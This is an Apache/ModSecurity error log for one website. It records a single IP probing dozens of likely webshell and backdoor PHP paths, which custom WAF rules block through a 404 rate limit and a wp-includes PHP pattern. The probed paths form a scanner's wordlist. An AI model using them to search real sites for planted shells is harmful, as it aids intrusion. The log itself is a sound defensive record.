[Wed Apr 22 19:43:09.523171 2026] [:error] [pid 23776:tid 23781] [client 134.149.32.112:18776] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aei0TbRExf-1pAbSeJvUtgAAAYM"]
[Wed Apr 22 19:43:11.483045 2026] [:error] [pid 23776:tid 23795] [client 134.149.32.112:30699] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aei0T7RExf-1pAbSeJvUuwAAAZE"]
[Wed Apr 22 19:43:12.961956 2026] [:error] [pid 6344:tid 6350] [client 134.149.32.112:18813] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aei0UEDOTF-pkQnDeUneMgAAAAE"]
[Wed Apr 22 19:43:14.445985 2026] [:error] [pid 9085:tid 9103] [client 134.149.32.112:36880] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aei0Ut-_-or9vQnlWnpBkgAAAVA"]
[Wed Apr 22 19:43:15.410703 2026] [:error] [pid 6384:tid 6408] [client 134.149.32.112:36896] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aei0Uz58M3t15ICeWHUYlAAAANU"]
[Wed Apr 22 19:43:17.739000 2026] [:error] [pid 6250:tid 6262] [client 134.149.32.112:18704] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aei0VQ-iZeQkqmQVfj7-twAAAEg"]
[Wed Apr 22 19:43:19.872100 2026] [:error] [pid 23776:tid 23789] [client 134.149.32.112:32604] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aei0V7RExf-1pAbSeJvUywAAAYs"]
[Wed Apr 22 19:43:21.391655 2026] [:error] [pid 6252:tid 6331] [client 134.149.32.112:25102] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aei0WetGYuiYb1nWBpRBhQAAARM"]
[Wed Apr 22 19:43:22.801417 2026] [:error] [pid 6250:tid 6263] [client 134.149.32.112:37450] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aei0Wg-iZeQkqmQVfj7-vwAAAEk"]
[Wed Apr 22 19:43:24.336150 2026] [:error] [pid 6252:tid 6324] [client 134.149.32.112:18688] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aei0XOtGYuiYb1nWBpRBjQAAAQw"]
[Wed Apr 22 19:43:26.594907 2026] [:error] [pid 9085:tid 9097] [client 134.149.32.112:31808] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aei0Xt-_-or9vQnlWnpBnAAAAUo"]
[Wed Apr 22 19:43:30.673288 2026] [proxy_fcgi:error] [pid 9085:tid 9092] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:30.926352 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:31.181691 2026] [proxy_fcgi:error] [pid 9085:tid 9094] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:31.435621 2026] [proxy_fcgi:error] [pid 9085:tid 9100] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:31.943839 2026] [proxy_fcgi:error] [pid 9085:tid 9105] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:32.197552 2026] [proxy_fcgi:error] [pid 9085:tid 9097] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:32.452495 2026] [proxy_fcgi:error] [pid 9085:tid 9095] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:32.705981 2026] [proxy_fcgi:error] [pid 9085:tid 9103] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:32.961202 2026] [proxy_fcgi:error] [pid 9085:tid 9089] [client 134.149.32.112:1388] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:43:33.464580 2026] [:error] [pid 9085:tid 9104] [client 134.149.32.112:1388] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aei0Zd-_-or9vQnlWnpBxAAAAVE"]
[Wed Apr 22 19:43:35.785140 2026] [:error] [pid 6251:tid 6285] [client 134.149.32.112:17164] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aei0ZysFAzbyObL-SQ5x9AAAAIA"]
[Wed Apr 22 19:43:38.675602 2026] [:error] [pid 23776:tid 23797] [client 134.149.32.112:22712] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aei0arRExf-1pAbSeJvU-gAAAZM"]
[Wed Apr 22 19:43:40.879299 2026] [:error] [pid 6252:tid 6329] [client 134.149.32.112:16904] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aei0bOtGYuiYb1nWBpRBoQAAARE"]
[Wed Apr 22 19:43:41.886658 2026] [:error] [pid 6251:tid 6309] [client 134.149.32.112:22664] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aei0bSsFAzbyObL-SQ5x9gAAAJg"]
[Wed Apr 22 19:43:42.694460 2026] [:error] [pid 9085:tid 9087] [client 134.149.32.112:22675] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aei0bt-_-or9vQnlWnpB3gAAAUA"]
[Wed Apr 22 19:43:43.775476 2026] [:error] [pid 9085:tid 9104] [client 134.149.32.112:23980] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aei0b9-_-or9vQnlWnpB5QAAAVE"]
[Wed Apr 22 19:43:45.860209 2026] [:error] [pid 6384:tid 6395] [client 134.149.32.112:1205] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aei0cT58M3t15ICeWHUY4gAAAMg"]
[Wed Apr 22 19:43:47.895712 2026] [:error] [pid 6344:tid 6363] [client 134.149.32.112:23939] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aei0c0DOTF-pkQnDeUneWgAAAA4"]
[Wed Apr 22 19:43:49.838747 2026] [:error] [pid 9085:tid 9091] [client 134.149.32.112:29914] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aei0dd-_-or9vQnlWnpB8QAAAUQ"]
[Wed Apr 22 19:43:52.058868 2026] [:error] [pid 6384:tid 6391] [client 134.149.32.112:1891] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aei0eD58M3t15ICeWHUZAgAAAMQ"]
[Wed Apr 22 19:43:53.623957 2026] [:error] [pid 9085:tid 9102] [client 134.149.32.112:17671] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aei0ed-_-or9vQnlWnpCBwAAAU8"]
[Wed Apr 22 19:43:54.402912 2026] [:error] [pid 9085:tid 9095] [client 134.149.32.112:16970] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aei0et-_-or9vQnlWnpCCgAAAUg"]
[Wed Apr 22 19:43:55.528726 2026] [:error] [pid 6251:tid 6305] [client 134.149.32.112:22150] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aei0eysFAzbyObL-SQ5x_QAAAJQ"]
[Wed Apr 22 19:43:56.886585 2026] [:error] [pid 6384:tid 6411] [client 134.149.32.112:18300] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aei0fD58M3t15ICeWHUZDAAAANg"]
[Wed Apr 22 19:43:57.945477 2026] [:error] [pid 6252:tid 6325] [client 134.149.32.112:39702] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aei0fetGYuiYb1nWBpRBvAAAAQ0"]
[Wed Apr 22 19:43:58.786917 2026] [:error] [pid 23776:tid 23779] [client 134.149.32.112:22176] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aei0frRExf-1pAbSeJvVLwAAAYE"]
[Wed Apr 22 19:44:00.375880 2026] [:error] [pid 9085:tid 9107] [client 134.149.32.112:20410] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aei0gN-_-or9vQnlWnpCEAAAAVQ"]
[Wed Apr 22 19:44:01.711584 2026] [:error] [pid 23776:tid 23788] [client 134.149.32.112:15973] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aei0gbRExf-1pAbSeJvVNAAAAYo"]
[Wed Apr 22 19:44:02.639036 2026] [:error] [pid 6250:tid 6270] [client 134.149.32.112:19274] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aei0gg-iZeQkqmQVfj7-9wAAAFA"]
[Wed Apr 22 19:44:03.912806 2026] [:error] [pid 9085:tid 9107] [client 134.149.32.112:25210] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aei0g9-_-or9vQnlWnpCGwAAAVQ"]
[Wed Apr 22 19:44:05.209923 2026] [:error] [pid 9085:tid 9092] [client 134.149.32.112:39699] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aei0hd-_-or9vQnlWnpCIQAAAUU"]
[Wed Apr 22 19:44:06.637058 2026] [:error] [pid 6344:tid 6357] [client 134.149.32.112:18213] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aei0hkDOTF-pkQnDeUneawAAAAg"]
[Wed Apr 22 19:44:08.186920 2026] [:error] [pid 9085:tid 9091] [client 134.149.32.112:19323] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aei0iN-_-or9vQnlWnpCPAAAAUQ"]
[Wed Apr 22 19:44:10.523765 2026] [:error] [pid 6251:tid 6302] [client 134.149.32.112:15889] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aei0iisFAzbyObL-SQ5yBwAAAJE"]
[Wed Apr 22 19:44:16.061293 2026] [:error] [pid 6384:tid 6406] [client 134.149.32.112:29851] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aei0kD58M3t15ICeWHUZNgAAANM"]
[Wed Apr 22 19:44:19.043888 2026] [:error] [pid 6251:tid 6303] [client 134.149.32.112:26632] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aei0kysFAzbyObL-SQ5yCQAAAJI"]
[Wed Apr 22 19:44:28.612162 2026] [:error] [pid 23776:tid 23785] [client 134.149.32.112:18190] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aei0nLRExf-1pAbSeJvVSgAAAYc"]
[Wed Apr 22 19:44:32.783306 2026] [:error] [pid 9085:tid 9089] [client 134.149.32.112:16403] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aei0oN-_-or9vQnlWnpCcQAAAUI"]
[Wed Apr 22 19:44:35.301468 2026] [proxy_fcgi:error] [pid 6384:tid 6389] [client 134.149.32.112:35958] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:35.590856 2026] [proxy_fcgi:error] [pid 6384:tid 6404] [client 134.149.32.112:35958] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:35.876179 2026] [proxy_fcgi:error] [pid 6384:tid 6401] [client 134.149.32.112:35958] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:36.164210 2026] [proxy_fcgi:error] [pid 6384:tid 6408] [client 134.149.32.112:35958] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:38.052829 2026] [:error] [pid 6384:tid 6390] [client 134.149.32.112:35958] [client 134.149.32.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aei0pj58M3t15ICeWHUZZQAAAMM"]
[Wed Apr 22 19:44:38.967088 2026] [proxy_fcgi:error] [pid 9085:tid 9096] [client 134.149.32.112:16429] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:39.768161 2026] [proxy_fcgi:error] [pid 9085:tid 9097] [client 134.149.32.112:16429] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:40.024919 2026] [proxy_fcgi:error] [pid 9085:tid 9088] [client 134.149.32.112:16429] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:40.290362 2026] [proxy_fcgi:error] [pid 9085:tid 9094] [client 134.149.32.112:16429] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:44:40.543342 2026] [:error] [pid 9085:tid 9089] [client 134.149.32.112:16429] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aei0qN-_-or9vQnlWnpCnwAAAUI"]
[Wed Apr 22 19:44:42.017052 2026] [:error] [pid 6344:tid 6362] [client 134.149.32.112:20876] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aei0qkDOTF-pkQnDeUnegAAAAA0"]
[Wed Apr 22 19:44:43.819421 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:30236] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aei0q9-_-or9vQnlWnpCuwAAAVM"]
[Wed Apr 22 19:44:45.144760 2026] [:error] [pid 23776:tid 23800] [client 134.149.32.112:20894] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aei0rbRExf-1pAbSeJvVWgAAAZY"]
[Wed Apr 22 19:44:46.725524 2026] [:error] [pid 23776:tid 23781] [client 134.149.32.112:23500] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aei0rrRExf-1pAbSeJvVXAAAAYM"]
[Wed Apr 22 19:44:48.354294 2026] [:error] [pid 6384:tid 6399] [client 134.149.32.112:20951] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aei0sD58M3t15ICeWHUZcAAAAMw"]
[Wed Apr 22 19:44:49.584909 2026] [:error] [pid 6384:tid 6387] [client 134.149.32.112:23526] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aei0sT58M3t15ICeWHUZegAAAMA"]
[Wed Apr 22 19:44:53.088735 2026] [:error] [pid 6252:tid 6316] [client 134.149.32.112:15407] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aei0tetGYuiYb1nWBpRBzgAAAQQ"]
[Wed Apr 22 19:44:54.782395 2026] [:error] [pid 6344:tid 6361] [client 134.149.32.112:35942] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aei0tkDOTF-pkQnDeUnejwAAAAw"]
[Wed Apr 22 19:44:55.822758 2026] [:error] [pid 9085:tid 9098] [client 134.149.32.112:15404] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aei0t9-_-or9vQnlWnpC1wAAAUs"]
